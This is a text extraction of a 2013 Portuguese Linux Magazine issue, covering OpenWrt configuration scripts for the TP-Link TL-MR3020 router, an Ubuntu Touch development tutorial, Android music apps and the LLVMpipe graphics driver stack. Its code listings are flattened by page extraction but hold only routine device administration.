/etc/config/wireless 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 # /etc/config/wireless ‑‑‑‑‑‑‑--config wifi‑device radio0 option type mac80211 option channel 11 option macaddr 90:f6:52:e6:d7:b2 option hwmode 11ng option htmode HT20 list ht_capab SHORT‑GI‑20 list ht_capab SHORT‑GI‑40 list ht_capab RX‑STBC1 list ht_capab DSSS_CCK‑40 # REMOVE THIS LINE TO ENABLE WIFI: # option disabled 1 config option option option option option option wifi‑iface device radio0 network wifi mode sta ssid 'my‑ssid' encryption psk2 key 'secret' www.linuxmagazine.com.br Listagem 3: Preparação do pendrive USB 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # Set up the root filesystem on a USB stick # Basic USB support (USB 1.1 and USB 2) opkg update opkg install kmod‑usb‑uhci kmod‑usb‑ohci kmod‑usb2 insmod uhci insmod usb‑ohci insmod usbcore insmod ehci‑hcd # USB Storage (FAT requires additional modules # that you can upgrade later, however) opkg in stall kmod‑usb‑storage‑mount block kmod‑fs‑ext4‑core kmod‑scsci # # # # # # # Prepare USB stick (on the PC) ‑> Partition with three partitions (root, home, swap) fdisk /dev/sdb etc. ‑> Format partitions with ext4 or swap mkfs.ext4 /dev/sdb1 mkfs.ext4 /dev/sdb2 mkswap /dev/sdb3 # Prepare root on USB (copies old root file system) mkdir ‑p /mnt/usb mount /dev/sda1 /mnt/usb tar ‑cvf ‑ ‑C /overlay . | tar ‑xf ‑ ‑C /mnt/usb umount /mnt/usb alterar a configuração dos pontos de montagem no arquivo /etc/config/ fstab. As linhas 10-16 na listagem 4 são importantes. A última linha da listagem 3 copia todo o sistema de arquivos raiz para o pendrive. Criar um backup agora é aconselhável. O sistema ainda fará o boot, mesmo sem o pendrive inserido: neste caso, ele simplesmente ignora os dispositivos não existentes. Depois de um reboot com um pendrive, finalmente teremos mais espaço em disco. Quaisquer pacotes adicionados agora poderão ser armazenados lá. Isto posto, ter o sistema de arquivos raiz em um dispositivo USB é muito útil. Podemos modificar a configuração com os editores habituais em um PC e facilmente copiar os dados entre os locais (por exemplo, para backups). Neste ponto, a configuração básica está concluída, exceto por algumas coisas, como o hostname. O restante do procedimento depende de como será utilizado o roteador, sendo possível usar o gerenciador de pacotes para recuperar e configurar o software necessário. O procedimento Linux Magazine #106 | Setembro de 2013 no OpenWrt não é diferente do de qualquer outro tipo de distribuição. Botões e LEDs Por meio da interface web ou SSH, podemos controlar completamente o TL-MR3020 como um mini servidor. No entanto, é mais fácil utilizar os botões existentes. O botão WPS original é adequado para desencadear ações individuais, e o interruptor (slide switch) na lateral (com três posições) faz a comutação entre as diferentes condições de operação (mais sobre isso depois). Listagem 4: Configure os pontos de montagem 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # Configure mountpoints config global automount option from_fstab 1 option anon_mount 1 config global autoswap option from_fstab 1 option anon_swap 0 config option option option option option option mount target /overlay device /dev/sda1 fstype ext4 options rw,sync enabled 1 enabled_fsck 0 config option option option option option option mount target /home device /dev/sda2 fstype ext4 options rw,sync enabled 1 enabled_fsck 1 config swap option device /dev/sda3 option enabled 1 Os LEDs servem como uma espécie de dispositivo de saída. Três estados diferentes são possíveis: ligado, desligado ou piscando. Em combinação com os botões, podemos compilar alguns recursos interessantes. Do ponto de vista técnico, é preciso controlar os LEDs nos arquivos abaixo de /sys/ class/leds (por exemplo, para o WPS LED, este é o diretório /sys/class/leds/ tp‑link:green:wps). Os fabricantes do OpenWrt escondem a complexidade, Quadro 2: Como configurar o OpenWRT O sistema de configuração OpenWrt continua a ser muito consistente em todos os pacotes relacionados ao sistema. Todos os arquivos de configuração estão localizados em /etc/config e são estruturados apenas arquivos de texto simples que são mais facilmente alterados em um editor. Para a operação de produção do roteador posteriormente, a interface web é a alternativa preferida do editor: aqui, pode-se facilmente modificar os parâmetros de configuração individuais e consultar o estado do sistema (figura 4). Outra alternativa é uma interface para a linha de comando. O comando: $ uci get system.slider.handler lê o valor da opção handler na seção slider do arquivo /etc/config/sys‑ tem. Para scripts, a biblioteca /lib/functions.sh oferece alguns utilitários que facilitam significativamente a definição das configurações. 63 Listagem 5: Edição do arquivo /etc/config/system Listagem 6: Interação com o LED Listagem 7: Checando o status do desbloqueador 01 # Configuring LEDs and buttons 02 config system 03 option hostname 'jupiter. bablokb‑local.de' 04 option timezone 'CET‑1CEST,M3.5.0,M10.5.0/3' 05 06 config timeserver 'ntp' 07 list server '0.openwrt.pool.ntp.org' 08 list server '1.openwrt.pool.ntp.org' 09 list server '2.openwrt.pool.ntp.org' 10 list server '3.openwrt.pool.ntp.org' 11 option enable_server '0' 12 13 config led 'led_usb' 14 option name 'USB' 15 option sysfs 'tp‑link:green:3g' 16 option trigger 'usbdev' 17 option dev '1‑1' 18 option interval '50' 19 20 config led 'led_wlan' 21 option name 'WLAN' 22 option sysfs 'tp‑link:green:wlan' 23 option trigger 'phy0tpt' 24 25 config led 'led_lan' 26 option name 'LAN' 27 option sysfs 'tp‑link:green:lan' 28 option trigger 'netdev' 29 option dev 'eth0' 30 option mode 'link tx rx' 31 32 config led 'led_wps' 33 option name 'wps' 34 option sysfs 'tp‑link:green:wps' 35 option trigger 'default‑on' 36 37 config button 38 option button 'wps' 39 option action 'released' 40 option min '3' 41 option max '6' 42 option handler 'halt' 43 44 config button 45 option button 'wps' 46 option action 'released' 47 option min '0' 48 option max '2' 49 option handler 'logger wps pressed 0‑2s' 50 51 config slider 'slider' 52 option handler '/usr/sbin/handle_ slider' 01 02 03 04 05 01 #!/bin/sh 02 # Read the slider (aka BTN_0/BTN_1) 03 # rmmod uses underscores, insmod uses strokes! 04 rmmod gpio_button_hotplug # Remove kernel module 05 echo 18 > /sys/class/gpio/ export # export BTN_0 06 echo 20 > /sys/class/gpio/ export # export BTN_1 07 cat /sys/class/gpio/gpio18/ value > /var/run/BTN_0 # Status BTN_0 08 cat /sys/class/gpio/gpio20/ value > /var/run/BTN_1 # Status BTN_1 09 echo 18 > /sys/class/gpio/ unexport # unexport BTN_0 10 echo 20 > /sys/class/gpio/ unexport # unexport BTN_1 11 insmod gpio‑button‑hotplug # Load kernel module e o usuário normalmente só precisa editar a configuração no arquivo /etc/ config/system (listagem 5, linhas 13-35). Normalmente, o OpenWRT contempla um conjunto de LEDs que identifica os estados de funciona- 64 #!/bin/sh # Handle button events set_led_blink() { # Switch flashing on (1s on / 0.2 sec off) 06 ech o timer > /sys/class/leds/ tp‑link\:green\:wps/trigger 07 ech o 1000 > /sys/class/leds/ tp‑link\:green\:wps/delay_on 08 ech o 200 > /sys/class/leds/ tp‑link\:green\:wps/delay_off 09 # Turn off after three seconds 10 sleep 3 11 echo none > /sys/class/ leds/tp‑link\:green\:wps/ trigger 12 # Turn on after three seconds 13 sleep 3 14 set_led_on 15 } 16 17 set_led_on() { 18 # Turn on LED 19 ech o default‑on > /sys/class/leds/ tp‑link\:green\:wps/trigger 20 } 21 22 if [ "$BUTTON" = "wps" ]; then 23 if [ "$ACTION" = "pressed" ]; then 24 set_led_blink & 25 else 26 set_led_on 27 fi 28 else 29 exit 0 30 fi mento de componentes individuais, tais como a rede ou interface USB. No entanto, podemos ajustar os padrões para atender às necessidades de cada usuário. Configurar o switch também é fácil. Precisamos configurar os eventos do sistema do kernel, para que ele acione (triggers) os botões de evento apropriados. Para fazer isso, edite o arquivo /etc/hotplug2.rules e remova o cursor antes da string ^Buttons. Como esta é uma lista de exceções, habilitamos os eventos para os botões removendo o sinal de comentário. A partir de agora, o sistema executa todos os scripts no diretório /etc/hotplug/button para cada evento do botão. As variáveis BUTTON e ACTION estão definidas. Um exemplo que demonstra a interação com os LEDs é exibido na listagem 6. Este script é apenas para o botão WPS (linha 22), e faz com que o WPS LED pisque por três segundos (linhas 6-8 e 10) e, em seguida, apague por mais três segundos. Quando soltamos o botão, o script aciona o LED novamente (linha 19). Em vez de armazenar cada script individualmente no diretório Button e consultar o status do switch lá, como na listagem 5, faz sentido fazer o download de um script de botão genérico do OpenWrt [4]. Depois, podemos configurar o switch de forma semelhante a dos LEDs em /etc/config/system. O botão WPS está configurado como um switch desligado aqui: se pressionarmos o botão por pelo menos três e no máximo seis segundos e soltarmos em seguida, o sistema será desligado (linhas 37-42 na listagem 5). Esta etapa também revela o significado do programa na listagem 6; o botão do LED pisca durante três segundos e, em seguida, desliga-se por três segundos – assim não temos que www.linuxmagazine.com.br Quadro 3: Mais exemplos de aplicações A utilidade do TL-MR3020 é resultado do baixo consumo de energia e mobilidade. Ele pode ser utilizado como um servidor de sincronização usando o aplicativo “Rsync for Android” para sincronizar dados entre dispositivos móveis, o servidor e outros computadores. Na estrada, o servidor atua como um roteador e emula uma rede doméstica, sem a necessidade de reconfigurar o “zoo” móvel. Cenários de aplicação detalhados para o TLMR3020 podem ser encontrados online através de uma simples pesquisa na web. Estes variam de servidores web e gateways VPN a plataformas de rede social simples. Para explorar os limites do computador, também instalamos o ownCloud no TL-MR3020. O aplicativo precisa de um servidor web e uma pilha PHP completa. Recursos básicos como a visualização e manutenção do calendário também funcionam, porém mais lentamente. Além disso, o TL-MR3020 quebrou a reprodutibilidade ao tentar fazer o upload de várias imagens ao mesmo tempo. Talvez um pouco de ajuste possa ajudar, mas para executar o ownCloud efetivamente, o usuário precisa de algo mais poderoso no lado do hardware. contar para desligar o sistema. Da mesma forma, também podemos usar o botão WPS para iniciar outra operação com cliques curtos. A listagem 5 (linhas 44-49) configura uma entrada de log para fins de demonstração. Deslizar para desbloquear O desbloqueador (slide switch) do TL-MR3020 é um pouco mais complicado por dois motivos. Primeiro, Listagem 8: Atualização do botão de status 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #!/bin/sh # Handle slider events . /lib/functions.sh DELAY=5 LOCK=/var/run/slider.lock # ‑‑‑ Run Update (asynchronous) ‑‑‑ run_handler() { # Only start if not already active if ! mkdir "$LOCK" 2>/dev/null; then logger "update‑script already running" exit 0 fi # Read processing script from /etc/config/system config_load system config_get handler slider handler logger "handler‑script: $handler" logger "wait $DELAY seconds for all events" sleep $DELAY eval $handler # Execute handler rm ‑fr "$LOCK" } # ‑‑‑ Main Program ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ logger "Process event '$ACTION' for $BUTTON" # Ignore WPS button if [ "$BUTTON" = "wps" ]; then exit 0 fi # Update button file to match event if [ "$ACTION" = "pressed" ]; then echo "1" > "/var/run/$BUTTON" else echo "0" > "/var/run/$BUTTON" fi # Run asynchronously run_handler & # (do not block event handling) Linux Magazine #106 | Setembro de 2013 o kernel não o identifica como um botão, mas como dois; mapear os três estados possíveis conta como 2 bits. Cada alteração de estado aciona dois eventos, que atingem o script de processamento sequencialmente, mas devem ser avaliados em conjunto. Em segundo lugar, o sistema de eventos só identifica as alterações de estados. Agora podemos arriscar um pequeno script que verifica o status do desbloqueador durante o boot, por exemplo, para configurar o ambiente de rede. Esse aspecto, no entanto, é apenas sugestionado na documentação disponível na wiki do OpenWrt. A listagem 7 mostra como: o script armazena o status dos dois botões BTN_0 e BTN_1 em arquivos devidamente nomeados em /var/run. O script é executado uma vez durante a inicialização, a partir de /etc/rc.local. Em contraste, o script na listagem 8 é executado para cada evento do botão. Ele atualiza o botão de status em /var/ run. Além disso, ele inicia um script de processamento. A magia extra nas linhas 10-12 garante que apenas um script de processamento se inicie. O tempo de espera antes do processamento (linha 21) garante que todos os eventos relevantes do botão também sejam recebidos e processados. As linhas 16 e 17 recuperam o script de processamento do arquivo de configuração em /etc/config/system. O script de processamento, em seguida, começa na linha 22. Um exemplo do script é exibido na listagem 9. Ele lê o status do desbloqueador e reconfigura a rede. Os 65 Listagem 9: Processamento do script 01 #!/bin/sh 02 # Processing script for the slider 03 logger "Execute $0" 04 05 # Read status of slider 06 if [ `cat /var/run/BTN_0` = "0" ]; then 07 slider="WISP" 08 elif [ `cat /var/run/BTN_1` = "0" ]; then 09 slider="3G" 10 else 11 slider="AP" 12 fi 13 logger "Status of slider: $slider" 14 15 # Remove old symlinks 16 rm /etc/config/dhcp 17 rm /etc/config/network 18 rm /etc/config/wireless 19 20 # Set new symlinks 21 ln ‑s dhcp.$slider /etc/config/dhcp 22 ln ‑s network.$slider /etc/config/ network 23 ln ‑s wireless.$slider /etc/config/ wireless 24 25 # Restart network and DHCP 26 /etc/init.d/network restart 27 /etc/init.d/dnsmasq restart Coleção Academy! arquivos de rede atuais são apenas links simbólicos; assim, a reconfiguração consiste em apontar os links simbólicos para os novos arquivos de configuração. Por exemplo, /etc/ config/network.AP contém a configuração de rede quando o cursor de desbloqueio está na posição AP. Faz sentido iniciar o script de processamento no momento da inicialização (em /etc/rc.local), após a leitura do status do cursor. Conclusão Neste artigo explicamos o hardware, assim o usuário “apenas” precisa combinar os componentes individuais. Para informações mais detalhadas sobre a obtenção de um dispositivo de conexão UMTS para executar ou implementar cenários de rede específicos, consulte a wiki do OpenWrt. O pequeno roteador TL-MR3020 não pode cobrir todas os aplicativos (quadro 3). No entanto, os mecanis- mos descritos aqui são pelo menos similares para outros dispositivos, incluindo os de outros fabricantes. Na extremidade superior do espectro de potência estão os dispositivos QNAP NAS que vêm munidos com o OpenWrt. No entanto, a gama de serviços pré-configurados torna a personalização mais difícil. n Mais informações [1] TP-Link: http://www. tp‑link.com.de/ [2] Projeto OpenWrt: ht‑ tps://openwrt.org [3] Detalhes para TL-MR3020: http://wiki.openwrt.org/ toh/tp‑link/tl‑mr3020/ [4] Processamento genéri- co de botões de eventos: https://dev.openwrt.org/ browser/trunk/target/li‑ nux/atheros/base‑files/etc/ hotplug.d/button/00‑button/ Principais comandos de configuração de um roteador Cisco Temas e configurações avançadas Segurança, dicas, truques e resolução de problemas Disponível no site www.LinuxMagazine.com.br 66 www.linuxmagazine.com.br Tutorial Desenvolvimento para Ubuntu Touch Aprenda a desenvolver aplicativos para o Ubuntu Touch e torne seu dispositivo móvel em um computador Linux de bolso! por Alessandro de Oliveira Faria (Cabelo) N a edição anterior da Linux Magazine, falei sobre a instalação, configuração e outros detalhes para que o leitor possa iniciar no mundo do Ubuntu Touch. Nesta edição, vou abordar o desenvolvimento para esta útil plataforma. A tecnologia utilizada no Ubuntu SDK é o Qt (e como ambiente de desenvolvimento o Qt Creator). Utilizei para testes o ambiente Ubuntu 12.10 para compilação do exemplo e ressalto que outras distribuições também funcionam mas demandam maior esforço e atenção à detalhes adicionais, que não são o objetivo deste artigo. Os comandos para instalar o Ubuntu SDK são: sudo add-apt-repository ppa:canonical-qt5-edgers/qt5-proper sudo add-apt-repository ppa:ubuntu-sdk-team/ppa sudo apt-get update sudo apt-get install ubuntu-sdk notepad-qml Figura 1 O ambiente de desenvolvimento utilizado é o Qt Creator. Linux Magazine #106 | Setembro de 2013 Agora que o SDK está instalado, inicie a interface de desenvolvimento do Qt (Qt Creator, figura 1), pressione a tecla [CTRL+N] e na janela de diálogo, selecione a opção Ubuntu Touch/Simple UI/Choose. Defina o nome do projeto, a localização do diretório e clique em Next. Ao término do processo, será exibido um resumo do projeto; então clique no botão Finish (figura 2). Para facilitar o início do desenvolvimento, insira o código presente no endereço [1] no arquivo .qml e execute o programa, pressionando o atalho [Ctrl+R] ou execute-o diretamente pelo terminal através do comando: qmlscene [caminho-completo-doarquivo.qml] Resumidamente, este programa obtêm os valores vigentes de cotação das moedas mundiais pelo site do European Central Bank através de um XML [2] e efetua o cálculo de conversão durante a digitação do valor no campo FieldText ou através da selecão do tipo da moeda (Buttom) (figura 3). Um breve resumo do desenvolvimento básico de aplicativos encontra-se em [3]. A partir daqui, partiremos para o Deploy do aplicativo. Vamos enviar o aplicativo para o Ubuntu Touch, mas para obter sucesso devemos efetuar as devidas configurações. Em primeiro lugar, conecte o cabo USB no dispositivo e no computador e selecione Devices ou Dispositivos na interface do seu Qt Creator para estabelecer a comunicação (figura 4). Figura 2 Resumo da criação do novo projeto. 67 Figura 3 Tela de digitação de dados do conversor de moedas para Ubuntu Touch. device” para copiar automaticamente as configurações de rede sem fio (senha, SSID , canal e outros). Após este procedimento a instalação do openssh-server será iniciada para que seja possível acessar o aparelho em modo desenvolvedor (figura 5). Vale a pena mencionar que, no modo avançado, algumas opções como atualização da imagem, reboot e outros recursos estão disponíveis. Uma vez que o dispositivo esteja configurado no modo debug, basta pressionar o atalho [CRTL+F12] para enviar o aplicativo para o dispositivo detectado e executá-lo. n Alessandro de Oliveira Faria é sócio-fundador da empresa NETi Tecnologia fundada em 1996, empresa especializada em desenvolvimento de software e soluções biométricas. é consultor biométrico na tecnologia de reconhecimento facial, atuando na área de tecnologia desde 1986, levando o Linux a sério desde 1998, membro colaborador da comunidade Viva O Linux, mantenedor da biblioteca open-source de vídeo captura, embaixador e membro openSUSE entre outros projetos. Gostou do artigo? Figura 4 Detecção de dispositivos no Qt Creator. Queremos ouvir sua opinião. Fale conosco em: [email protected] Este artigo no nosso site: http://lnm.com.br/article/8981 Mais informações [1] Download do código deste artigo: http:// www.linuxmag.com.br/issues/106/conteudoqml.txt [2] XML da cotação do dia das moedas mundiais: http:// www.ecb.int/stats/eurofxref/eurofxref-daily.xml Figura 5 Modo de desenvolvedor habilitado. Para identificar o aparelho, clique no botão “Detect Devices” ou dependendo do estado do dispositivo, clique em “Redetect Devices”. O número serial do dispositivo será exibido no canto superior esquer- 68 do se tudo estiver funcionando corretamente. Se o Ubuntu Touch estiver com a rede sem fio configurada, clique em “Enable developer mode”, caso contrário clique em “clone network config from host to [3] Desenvolvimento para Ubuntu: http://developer. ubuntu.com/get-started/ gomobile/#step-write-app [4] Exemplo (código fonte completo) do conversor de moedas para Ubuntu Touch: https://bazaar.launchpad. net/~dpm/+junk/CurrencyConverterUpdated/files/8 www.linuxmagazine.com.br Android Aperte o play! Os melhores aplicativos de música e truques para melhorar a qualidade de som do seu Android. por Flávia Jobstraibizer N inguém vive sem música. Essa é uma máxima na qual esta humilde autora acredita piamente. Mesmo os ermitões em algum momento cantarolam alguma música em meio à sua solidão. O Android possui excelentes aplicativos para música, seja para execução, organização de biblioteca musical ou mesmo para localizar podcasts, audiolivros e outros recursos. Também há diversos truques e macetes Figura 1 Organização de audio por palavras-chave, intérpretes ou tipo de música. Figura 2 As capas dos álbuns também podem ser uma forma de organizar o conteúdo. Linux Magazine #106 | Setembro de 2013 que podemos fazer para melhorar a qualidade de audio dos dispositivos equipados com o simpático sistema do robozinho. Música na palma da mão Alguns aplicativos já conhecidos para execução de músicas como N7Player [1], possuem uma organização interessante da biblioteca musical, onde as faixas podem ser localizadas através de uma “nuvem de tags”, composta pelo nome do cantor, nome da música ou mesmo pelo tipo de música (figura 1). A organização por capas de álbuns (figura 2) também é outro recurso presente no N7Player e comum a outros importantes tocadores de músicas, como o MusiXMatch [2] (quem se lembra do Music Match Jukebox que existia pra Windows nos anos 2000? Este se parece MUITO com ele). Atualmente o MusiXMatch é um dos preferidos por quem deseja – além dos recursos comuns – acompanhar as letras das músicas em tempo real (e com tempo real, quero dizer que o aplicativo baixa a letra da música enquanto ela é executada, contanto que uma conexão de Internet esteja disponível). O aplicativo possui um bom equalizador, que auxilia o usuário a predefinir o melhor ambiente de som possível em seu dispositivo (figura 3). O bom e velho Winamp também modernizou-se e veio parar nos dispositivos móveis. A organização de músicas por pastas é um diferencial, evitando a mistura homérica feita por outros players (figura 4). O aplicativo está disponível em duas ver- 69 Figura 5 O PowerAmp possui um dos mais completos equalizadores. Figura 3 Equalizador do MusiXMatch, útil para melhorar a qualidade do audio em execução. sões: gratuita [3] e Pro, com recursos adicionais como a organização por pastas, é claro, e outros diferenciais como o a execução de qualquer audio streaming através de um URL direto. Figura 4 A organização por pastas do Winamp Pro é um diferencial do aplicativo. 70 O PowerAmp [4] talvez seja um dos mais completos no que tange à configurações de audio. Possui o mais completo equalizador (figura 5), configuração de balanço, baixos e outros bastante sensível e ainda possui widgets personalizáveis para que seja possível incluí-lo na área de trabalho sem engasgos da música. Tais recursos estão presentes apenas na versão Pro (que custa cerca de R$8,00) que vale muito a pena ser adquirida. Para ouvir rádio, não limite-se ao aplicativo padrão do Android (e há alguns dispositivos importados que nem mesmo este aplicativo padrão possuem). Neste campo, as opções são inúmeras. O TuneIn [5] é um dos mais populares e funciona basicamente através da Internet. Com ele é possível ouvir mais de 70000 estações de rádio via streaming e que podem ser localizadas por tipo, localização (somente rádios do Brasil, por exemplo) e até mesmo por idioma (figura 6). Aumente o poder de audio Alguns aplicativos podem ajudar a melhorar o poder de audio do seu dispositivo. Mesmo dispositivos um tanto quanto limitados podem beneficiar-se obtendo melhor qualidade de audio, Figura 6 Para ouvir mais de 70000 rádios online, o TuneIn é a melhor opção. www.linuxmagazine.com.br neste aplicativo e surpreenda-se assim como eu (figura 9). Conclusão Opções para tornar a experiência de audio incrível não faltam. Leia atentamente os comentários dos usuários antes de baixar determinados aplicativos de audio e desconfie de aplicativos que exigem permissões absurdas para instalação (como um determinado player que “informa” a necessidade de acesso aos seus SMS e catálogo de endereços no momento da instalação), afinal, tudo o que você não quer ouvir é uma música triste por conta de algum aplicativo malicioso. n Gostou do artigo? Figura 7 O Music Volume EQ “turbina” significativamente o audio do seu dispositivo. Figura 8 A galeria de efeitos préconfigurador do Equalizer surpreende durante o uso. tratamento de ruidos e sensibilidade mais refinada em graves e agudos. Um exemplo disso é o Music Volume EQ [6], que além de gratuito é um dos aplicativos mais bem avaliados no quesito “aumentar o volume”do som do aparelho, além de possuir confi- gurações refinadas para melhorar a qualidade do audio (figura 7). O Equalizer [7] é outro aplicativo interessante. Em meus testes, a galeria de efeitos pré-configurados (figura 8) rendeu surpresas pois a qualidade e nitidez do som melhoraram significativamente, até mesmo em audio extraído da Internet. Um dos mais surpreendentes no entanto, é o aplicativo Ambiance [8], que gera aleatoriamente cerca de 2500 efeitos sonoros que isolam o barulho externo (claro que ter um fone de ouvido de ótima qualidade vai garantir esse excelente resultado). Com um fone de ouvido da Phillips que já possui o recurso de isolamento de barulho, obtive a inacreditável chance de não escutar nada além da música que estava ouvindo, em meio ao trânsito caótico de São Paulo enquanto me dirigia à redação da Linux Magazine. O aplicativo possui ainda recursos como despertador com sua música preferida e até gravador de audio (útil para gravar palestras, por exemplo). Por favor pague a bagatela de R$6,00 Figura 9 Anular o barulho externo é o recurso principal do Ambiance. Linux Magazine #106 | Setembro de 2013 Queremos ouvir sua opinião. Fale conosco em: [email protected] Este artigo no nosso site: http://lnm.com.br/article/9005 Mais informações [1] N7Player: https://play.google. com/store/apps/details?id=com. n7mobile.nplayer [2] MusiXMatch: https:// play.google.com/store/ apps/details?id=com.musixmatch.android.lyrify [3] Winamp Free: https:// play.google.com/store/apps/ details?id=com.nullsoft.winamp [4] PowerAmp: https:// play.google.com/store/ apps/details?id=com.maxmpz.audioplayer.unlock [5] TuneIn: https://play. google.com/store/apps/ details?id=tunein.player [6] Music Volume EQ: https:// play.google.com/store/apps/ details?id=hr.podlanica [7] Equalizer: https://play. google.com/store/apps/ details?id=com.smartandroidapps.equalizer [8] Ambiance: https:// play.google.com/store/ apps/details?id=com.urbanapps.ambiance 71 Análise Tubo gráfico A ideia é simples: se o driver da placa gráfica não oferece gráficos 3D, uma ajuda especial delegaria todos os cálculos 3D ao processador principal. Neste artigo, explicamos como fazer esse trabalho. por Tim Schürmann O Starter está inserido em uma janela com efeito violeta cintilante com sombras sutis e rodeado por um brilho suave quando minimizado. Estes efeitos puros da área de trabalho do Unity só são possíveis se o Ubuntu, ao iniciar, detectar a placa gráfica e localizar um driver adequado, o que por sua vez fornece uma aceleração 3D. Isso, às vezes – mas nem sempre – funciona, especialmente em placas gráficas mais antigas, notebooks e netbooks (figuras 1 e 2). LLVMpipe O Ubuntu 12.04 costumava iniciar o Unity 2D, o “irmão” menos eficaz do Unity. Com o Ubuntu 12.10, a Canonical substituiu o Unity 2D pelo LLVMpipe. Este driver de placa gráfica é invocado quando o Ubuntu precisa usar a placa de extensão gráfica apenas no modo 2D. O LLVMpipe permite que o pro- Figura 1 O Unity desenha uma sombra ao redor das janelas... 72 cessador principal controle todos os efeitos 3D. Desta forma, o Unity pode funcionar sem a aceleração 3D em computadores mais antigos ou máquinas virtuais, enquanto os desenvolvedores da Canonical podem se concentrar em um único ambiente de trabalho Unity. O LLVMpipe também pode executar outros programas 3D. A figura 3 mostra o caminho percorrido pelos arquivos gráficos do aplicativo até a tela. Com o Linux, a maioria dos programas 3D usam a biblioteca gráfica OpenGL, que prevê, entre outras coisas, algumas funções básicas para desenhar linhas e superfícies. Os detalhes são definidos pelo padrão OpenGL, que o consórcio de indústrias Khronos Group [1] gerencia e desenvolve. Fabricantes de placas gráficas normalmente fornecem a seus drivers uma biblioteca OpenGL otimizada, que está intimamente conectada à maior parte dos drivers proprietários do kernel e pode, portanto, mover rapidamente os arquivos para as placas gráficas. Mas, em primeiro lugar, nem toda placa gráfica possui um driver proprietário e, em segundo lugar, não www.linuxmagazine.com.br Aplicativos (Unity) OpenGL (Mesa) OpenGL State Tracker Open 3D Interface Drivers específicos GPU (Pipe-Driver) Driver GA Winsys Figura 2 ...enquanto seu homólogo Unity 2D não o faz. Aqui o usuário tem que se contentar com uma coloração mais escura. é tão fácil examinar o código fonte em caso de problemas. Felizmente, ainda existe uma alternativa. Drivers gráficos Brian Paul começou a desenvolver a biblioteca livre e aberta na Internet em 1993 e chamou-a de Mesa (também conhecida como Mesa 3D [2]). No início, a biblioteca usava o processador principal para calcular gráficos 3D. A saída era relativamente lenta, mas ainda entregava imagens 3D. Então, em 2001, Brian Paul fundou a empresa de consultoria Tungsten Graphics com outros quatro especialistas gráficos. Eles desenvolveram um novo driver gráfico chamado Gallium3D (ou apenas Gallium [3] , para abreviar) em 2008. A ideia principal era tornar o driver menor, para mantê-lo compatível com outras bibliotecas gráficas além do Mesa e torná-lo mais facilmente transportável, o que simplificaria significativamente o desenvolvimento de drivers de placas gráficas. O novo sistema foi um sucesso, pelo menos no Linux, principalmente porque integrava o Mesa e usava-o para saída. Linux Magazine #106 | Setembro de 2013 Como mostrado na figura 3, o Mesa calcula os dados 3D e passaos adiante para o chamado State Tracker, que prepara as instruções OpenGL para torná-las compreensíveis ao driver gráfico Gallium3D. Cada biblioteca gráfica possui um state tracker próprio, atualmente disponível também para a biblioteca de gráficos vetoriais OpenVG [4]. Através de uma interface fixa, o state tracker, em seguida, passa os arquivos gráficos para o driver de placa gráfica atual, também conhecido como pipe driver. O state tracker não executa no kernel Linux mas no espaço do usuário, assim como muitos outros programas. Em seguida, converte os dados em 3D para que o driver os compreenda. A placa gráfica passa o resultado final para a interface chamada Gallium Winsys, a qual retorna os arquivos para o módulo de kernel apropriado à placa gráfica. O módulo do kernel, por fim, passa os dados 3D para o hardware da placa gráfica. No Linux, o módulo do kernel é geralmente conhecido como gerenciador de renderização direta, ou Direct Rendering Manager (DRM). Linux DRM (Kernel) Hardware Figura 3 Arquivos gráficos atravessam alguns componentes no Linux, mas o processamento é rápido. À primeira vista, a interface Winsys e o kernel DRM podem parecer redundantes, afinal, o driver da placa gráfica deve ser capaz de se comunicar diretamente com a placa; no entanto, estas duas etapas intermediárias são as que tornam os drivers mais elegantes e independentes de plataforma. Apenas a interface Winsys precisa saber qual sistema operacional está atualmente sendo afetado e como se comunicar com ele. Como ela apenas passa sobre os dados, a interface pode ser pequena e criada rapidamente. Além disso, a interface pode usar qualquer driver de placa gráfica, por isso precisa ser desenvolvida apenas uma vez para cada sistema operacional. O atual driver da placa gráfica pode, portanto, permanecer praticamente inalterado por todas as plataformas. 73 Fronted Otimização de código LLVM IR Backend Programa compelto Figura 4 Com o compilador LLVM, um frontend, como o compilador Clang C, cria um código intermediário que um backend transfere para um programa, digamos, de processador x86, após a otimização. Para obter uma visualização 3D acelerada no Linux, portanto, o usuário precisa de um driver Gallium3D que se encaixe na placa gráfica e um módulo do kernel DRM correspondente. Infelizmente, os principais fabricantes de cartões gráficos fazem criações próprias, de modo que os desenvolvedores livres acabam tendo que violá-los mais uma vez. Atualmente os drivers Gallium3D estão disponíveis para hardware Intel e algumas placas gráficas ATI; a NVidia, entretanto, suporta o conhecido driver Nouveau. Como os fabricantes não publicam detalhes de hardware em seus chips gráficos, o desenvolvimento de drivers livres é geralmente um processo tedioso. Ainda hoje, o Nouveau não fornece dados de desempenho para seu driver proprietário da NVIDIA. Como a Tungsten Graphics agora pertence à VMware, fabricante de virtualizadores de mesmo nome, não é nenhuma surpresa que exista um driver Gallium3D para a placa gráfica simulada das máquinas virtuais. Por dentro do pipe Como referência e modelo para drivers aspirantes a leitores, a equipe Gallium3D fornece o softpipe driver. Este driver executa os cálculos 3D do processador, uma transação que é extremamente longa e não é apropriada para uso diário. José Fonseca, dessa forma, surgiu com a ideia de rebaixar o softpipe driver no compilador LLVM (quadro 1). Ele e alguns colegas, entre eles Brian Paul, inventor do Mesa, ajustaram o softpipe driver com um rasterizador Figura 5 Como reporta o “glxinfo” na linha destacada, o Unity executa sob o LLVMpipe. Podemos testar o LLVMpipe em uma máquina virtual, como neste exemplo. Quadro 1: Compilador LLVM O LLVM é um compilador modular [7]. Primeiro, um componente frontend traduz o código fonte para a linguagem especial LLVM Intermediate Representation (IR) (figura 4). O código do programa otimiza o LLVM antes de entregá-lo ao backend, o atual programa do processador específico. Embora o processo pareça complicado, o sistema todo é extremamente rápido, e o idioma LLVM IR pode ser executado em uma máquina virtual (figura 5). Para acelerar ainda mais o processo, o usuário encontrará disponível um compilador [8] que faz todo o trabalho na hora. O LLMVpipe transfere os comandos necessários para calcular os pixels da imagem acabada para o idioma IR LLVM. Além de pontos, linhas e triângulos, estes também incluem os chamados shaders. Shaders 